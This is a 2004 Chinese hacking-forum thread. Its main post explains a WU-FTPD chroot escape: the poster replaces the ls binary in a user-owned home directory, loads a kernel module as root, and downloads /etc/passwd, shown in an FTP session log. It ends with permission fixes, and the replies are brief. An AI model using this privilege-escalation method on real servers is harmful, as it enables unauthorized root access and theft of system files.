论坛: 黑客进阶 标题: 突破FTP中的限制 复制本贴地址    
作者: newmyth21 [newmyth21]    论坛用户   登录
这是针对WU-FTPD设置了CHROOT后,配置出现的问题造成了突破CHROOT限制,并可以访问全部文件系统。

下面是对WU-FTPD的测试,尽管任何FTP服务程序允许限制各种访问,但在用户目录下使用/bin/ls存在潜在的漏洞。

当我们增加一个新的用户到系统的时候(使用adduser,useradd等),新的用户就变成了他用户目录的属主,如:

drwx------  2 user   users    1024 Jun 21 11:26 /home/user/

问题出在当我们设置FTP服务器为了限制用户访问他们目录权利的时候,现在在我们的模拟系统中的用户home目录下建立一个目录结构:

/etc: 密码,组 .

/bin: ls, compress, gzip... - 一些可以运行的两进制程序。

/lib, /usr/lib: 一些需要的库文件。

/dev: 为了建立连接某些操作系统需要访问的一些设备。

用户不需要改变他们的目录等属性,因为我们限制了他们的许可权利和把所有权归属给超级用户。

问题在于当我们做这个的时候,我们忘记了用户home目录的属主现在是归属于用户的。
这样的话他可以改变此目录下的任意文件,下面的情况是很容易找到的:

drwxr-xr-x  6 user   users    1024 Jun 21 11:26 /home/user/
drwx--x--x  2 root   root     1024 Jun 21 11:26 /home/user/bin/

在这里用户user可以改变在他Home下的bin目录,(如果目录里的内容不归属于此用户,我们不能删除目录下的内容,但并不能阻止我们改名它):

OK,现在的要点在那里?我们可以看看wu.ftpd是怎样内部工作的:

当我们通过FTP(LIST命令)来请求一个目录列表的时候,FTP服务程序执行了/bin/ls,
注意,这个ls一般是受限用户下的/bin/ls程序。

我们知道FTP服务程序是以ROOT身份来运行的,当一个用户访问受限制的FTP,服务程序会改变它的euid为用户uid。服务程序使用seteuid()来代替setuid()是为了重新获得超级用户的权利,但使用setuid()来操作是不可能的。

不管怎样,FTP服务程序执行了在chroot()后的用户目录下的/bin/ls,chroot()是改变了处理ROOT目录的方法。在chroot()以后进程只能访问文件系统的一部分,而且不能超越这个限制。 如果用户能修改/bin/ls,接着当我们运行LIST的时候,系统就会运行我们修改过的ls,并且这个程序是以euid等用户uid来执行,但这时uid=0,因为ls能调用setuid(0)并要重新获得超级用户的权利,虽然这时候还是在用户目录的限制状况下。

所以下面描述摆脱chroot()的限制:

就象我们上面刚刚说过,即使我们能执行任意代码,我们也只不过在choroot()后的文件系统里在运行,因为chroot()继承父进程到子进程,因此我们派生一个进程的话我们仍然限制于chroot().

ROOT目录进程处理的所有权在系统内存的进程表中存储着所有进程的信息(这个表只能是超级用户访问),因此我们只有能访问这张表,修改我们的ROOT目录并派生一个继承新ROOT目录的进程,我们就摆脱了chroot()的限制。

另外一个方法(FOR LINUX)是装载一个内核模块来捕获chroot()的系统调用,并修改它的可访问文件系统限制,或者干脆是给内核模块来来访问系统并执行任意代码。

实践:

thx:~# ftp
ftp"gt; o ilm
Connected to ilm.
Name (ilm:root): user
Password:
Remote system type is UNIX.
Using binary mode to transfer files.

用户连接到了机器并访问了他可以访问的系统,一连接后,FTP服务程序执行了chroot()到用户的home 目录:

ftp"gt; ls
total 5
drwxr-xr-x  5 user   users    1024 Jun 21 11:26 .
drwxr-xr-x  5 user   users    1024 Jun 21 11:26 ..
d--x--x--x  2 root   root     1024 Jun 21 11:26 bin
drwxr-xr-x  2 root   root     1024 Jun 21 11:26 etc
drwxr-xr-x  2 user   users    1024 Jun 21 11:26 home
ftp"gt; cd ..
ftp"gt; ls
total 5
drwxr-xr-x  5 user   users    1024 Jun 21 11:26 .
drwxr-xr-x  5 user   users    1024 Jun 21 21:26 ..
d--x--x--x  2 root   root     1024 Jun 21 11:26 bin
drwxr-xr-x  2 root   root     1024 Jun 21 11:26 etc
drwxr-xr-x  2 user   users    1024 Jun 21 11:26 home

用户被受限于他的home目录:

ftp"gt; ls bin/ls
---x--x--x  1 root   root    138008 Jun 21 11:26 bin/ls
ftp"gt; ren bin bin.old
ftp"gt; mkdir bin
ftp"gt; cd bin
ftp"gt; put ls
ftp"gt; put insmod
ftp"gt; put chr.o

修改ls两进制程序并上载所需文件

ftp"gt; chmod 555 ls
ftp"gt; chmod 555 insmod

改变文件属性,这样可以来执行刚刚上载的文件。

ftp"gt; ls
UID: 0 EUID: 1002
Cambiando EUID...
UID: 0 EUID: 0
Cargando modulo chroot...
Modulo cargado.

运行修改过的ls并改变他的euid=0和装载木马模块。

ftp"gt; bye
thx:~#

这时,用户已经装载了内核模块并捕获和使chroot() syscall无效了

thx:~# ftp
ftp"gt; o ilm
Connected to ilm.
Name (ilm:root): user
Password:
Remote system type is UNIX.
Using binary mode to transfer files.

再次登陆,服务程序chroot()到用户目录,但这次由我们的内核模块进行了控制。

ftp"gt; ls
total 1697
drwxr-xr-x 21 root   root     1024 Jun 21 11:57 .
drwxr-xr-x 21 root   root     1024 Jun 21 11:57 ..
-rw-r--r--  1 root   root     118 Apr 21 11:26 .bash_history
drwxr-xr-x  2 root   bin     2048 Jun 21 11:26 bin
drwxr-xr-x  2 root   root     1024 Jun 8 11:26 boot
drwxr-xr-x  2 root   root     1024 Oct 6 11:26 cdrom
drwxr-xr-x  3 root   root    21504 Jun 21 15:26 dev
drwxr-xr-x 14 root   root     3072 Jun 21 15:26 etc
drwxr-xr-x  7 root   root     1024 Jun 21 19:26 export
drwxr-xr-x  7 root   root     1024 Jun 21 19:26 home
dr-xr-xr-x  5 root   root      0 Jun 21 14:26 proc
...
-rw-r--r--  1 root   root    404717 Mar 12 18:06 vmlinuz


这时我们可以访问整个文件系统了。


ftp"gt; get /etc/passwd

ftp"gt; bye
thx:~#

这是使用了可装载内核模块,假如你使用了其他修改文件等等的可装载内核模块,我们就可以获得更大的权利。

最好的解决办法是设置正确的目录属性:

ilm:~$ ls -ula /home/user
total 5
drwxr-xr-x  6 root   root     1024 Jun 21 11:26 ./
drwxr-xr-x  8 root   root     1024 Jun 21 11:26 ../
d--x--x--x  2 root   root     1024 Jun 21 11:26 bin/
drwxr-xr-x  2 root   root     1024 Jun 21 11:26 etc/
drwxr-xr-x  2 user   users    1024 Jun 21 11:26 home/
ilm:~$

更好的办法是使用ProFTPD,因为ProFTPD要比WU-FTPD的安全性好不少。


地主 发表时间: 04-01-09 13:37

回复: yimarong [yimarong]   版主   登录
写的很详细嘛!

B1层 发表时间: 04-01-09 20:44

回复: newmyth21 [newmyth21]   论坛用户   登录
我来顶一下了。

B2层 发表时间: 04-01-12 11:49

回复: andy701 [andy701]   论坛用户   登录
我顶!

B3层 发表时间: 04-01-13 03:35

回复: TomyChen [quest]   版主   登录
说实在的,现在用WU-FTP的人是少而又少,更别说ISP啊,IDC这种了。
而且帖子也似乎是很老的了,如果转载 ,请注明“转载”字样,谢谢

B4层 发表时间: 04-01-13 08:29

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号